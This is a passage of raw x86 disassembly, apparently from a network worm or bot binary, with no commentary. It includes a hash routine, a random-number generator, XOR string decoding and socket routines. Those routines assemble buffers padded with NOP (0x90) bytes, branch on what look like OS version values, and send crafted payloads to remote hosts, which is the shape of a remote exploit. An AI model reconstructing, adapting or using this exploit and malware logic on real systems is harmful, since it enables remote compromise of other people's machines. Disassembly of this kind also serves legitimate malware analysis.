[ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: sub_4167F1+DFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call dword_417024 ; CryptAcquireContextA push offset dword_41EBAC push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EBB0 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EBB4 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EBB8 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EBAC, eax add eax, ebx lock xadd dword_41EBB0, eax add eax, ecx lock xadd dword_41EBB4, eax add eax, edx lock xadd dword_41EBB8, eax add eax, esi lock xadd dword_41EBAC, eax add eax, edi lock xadd dword_41EBB0, eax add eax, ebp lock xadd dword_41EBB4, eax add eax, esp lock xadd dword_41EBB8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EBAC, eax lock xadd dword_41EBB0, eax lock xadd dword_41EBB4, eax lock xadd dword_41EBB8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EBB4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EBB0, ecx add ecx, edx ror edx, cl lock xadd dword_41EBAC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EBB8, edx lock xadd dword_41EBB4, ecx lock xadd dword_41EBB0, ebx lock xadd dword_41EBAC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EBB8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EBB8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: sub_4055E5+715p ; sub_4055E5+78Bp push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EBB4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EBB0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EBAC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: sub_4167F1+F0p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EBC0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EBC0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EBC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EBC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410649 proc near ; DATA XREF: BrattyUS:off_41CDAEo var_1B78 = dword ptr -1B78h var_1B74 = byte ptr -1B74h var_B74 = byte ptr -0B74h var_B6C = dword ptr -0B6Ch var_B64 = dword ptr -0B64h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_280 = byte ptr -280h var_276 = byte ptr -276h var_272 = byte ptr -272h var_23A = byte ptr -23Ah var_236 = byte ptr -236h var_232 = byte ptr -232h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_410649+36j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_200] push eax call sub_4125DF add esp, 20h mov [ebp+var_370], eax cmp [ebp+var_370], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: sub_410649+A0j and [ebp+var_374], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: sub_410649+E1j mov eax, [ebp+var_374] inc eax mov [ebp+var_374], eax loc_410706: ; CODE XREF: sub_410649+AEj cmp [ebp+var_374], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_374] mov [ebp+ecx+var_36C], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: sub_410649+C7j push 0Ah push offset loc_41A8A0 lea eax, [ebp+var_280] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8F0 lea eax, [ebp+var_276] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset loc_41A8E8 lea eax, [ebp+var_272] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8EC lea eax, [ebp+var_23A] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push (offset loc_41A8E3+1) lea eax, [ebp+var_236] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset loc_41A894 lea eax, [ebp+var_232] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp+var_370] mov [ebp+var_204], eax and [ebp+var_1B78], 0 push 18h push offset dword_41A7FC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 18h mov [ebp+var_1B78], eax push 44h push offset dword_41A818 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 44h mov [ebp+var_1B78], eax push 20h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 20h mov [ebp+var_1B78], eax push 4 push offset loc_41A8AC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8E0 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8D8 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8DC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 58h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 58h mov [ebp+var_1B78], eax push 6 push offset loc_41A8B4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push 8 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 8 mov [ebp+var_1B78], eax push 4 push offset loc_41A8BC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 6 push offset loc_41A8C4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push [ebp+var_204] push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_204] mov [ebp+var_1B78], eax push [ebp+var_370] lea eax, [ebp+var_200] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_370] mov [ebp+var_1B78], eax push 168h lea eax, [ebp+var_36C] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 168h mov [ebp+var_1B78], eax push 0Ah push offset off_41A8CC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 0Ah mov [ebp+var_1B78], eax push 32h push offset dword_41A860 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 32h mov [ebp+var_1B78], eax mov eax, [ebp+var_1B78] mov [ebp+var_B6C], eax mov eax, [ebp+var_1B78] sub eax, 18h mov [ebp+var_B64], eax push [ebp+var_1B78] lea eax, [ebp+var_B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: sub_410649+4E9j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv locret_410B50: ; CODE XREF: sub_410649+38j ; sub_410649+A2j ... leave retn sub_410649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B52 proc near ; DATA XREF: BrattyUS:0041CDE8o var_104C = byte ptr -104Ch var_FC6 = byte ptr -0FC6h var_BDE = byte ptr -0BDEh var_B9E = byte ptr -0B9Eh var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_AF2 = byte ptr -0AF2h var_88E = byte ptr -88Eh var_882 = byte ptr -882h var_85E = byte ptr -85Eh var_852 = byte ptr -852h var_82E = byte ptr -82Eh var_80C = byte ptr -80Ch var_7CC = byte ptr -7CCh var_7C8 = byte ptr -7C8h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_204] push eax call sub_4125DF add esp, 20h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410B52+56j push 89h push offset dword_41AF50 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_410B52+96j push 0A8h push offset dword_41AFDC mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: sub_410B52+D6j push 0DEh push offset dword_41B088 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: sub_410B52+116j movsx eax, [ebp+var_7CC] sub eax, 30h mov [ebp+var_208], al movsx eax, [ebp+var_7C8] sub eax, 30h mov [ebp+var_4], al push 3Eh push offset dword_41B168 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410B52+170j push 60h push offset dword_41B1A8 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: sub_410B52+1ADj push 0A0h push offset dword_41B20C mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: sub_410B52+1EDj movsx eax, [ebp+var_208] cmp eax, 5 jnz loc_410E71 movsx eax, [ebp+var_4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp+var_B78] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_AF2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp+var_20C] add eax, 60h push eax mov eax, [ebp+var_20C] lea eax, [ebp+eax+var_AF2] push eax call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp+var_88E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_882] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_85E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_852] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp+var_82E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call dword_41709C ; Sleep push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410B52+1FEj ; sub_410B52+20Bj movsx eax, [ebp+var_208] cmp eax, 5 jnz short loc_410E85 movsx eax, [ebp+var_4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: sub_410B52+329j movsx eax, [ebp+var_208] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: sub_410B52+331j push 86h push offset dword_41B35C lea eax, [ebp+var_104C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp+var_20C] push eax push 90h lea eax, [ebp+var_FC6] push eax call sub_416B6A ; memset add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_BDE] sub eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch and [ebp+var_B7C], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: sub_410B52+3DAj mov eax, [ebp+var_B7C] inc eax mov [ebp+var_B7C], eax loc_410F06: ; CODE XREF: sub_410B52+3A5j cmp [ebp+var_B7C], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp+var_B7C] lea eax, [ebp+eax*4+var_BDE] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: sub_410B52+3BBj push 20h push offset dword_41B3E4 lea eax, [ebp+var_B9E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp+var_104C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: sub_410B52+58j ; sub_410B52+98j ... leave retn sub_410B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: sub_410B52+265p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D 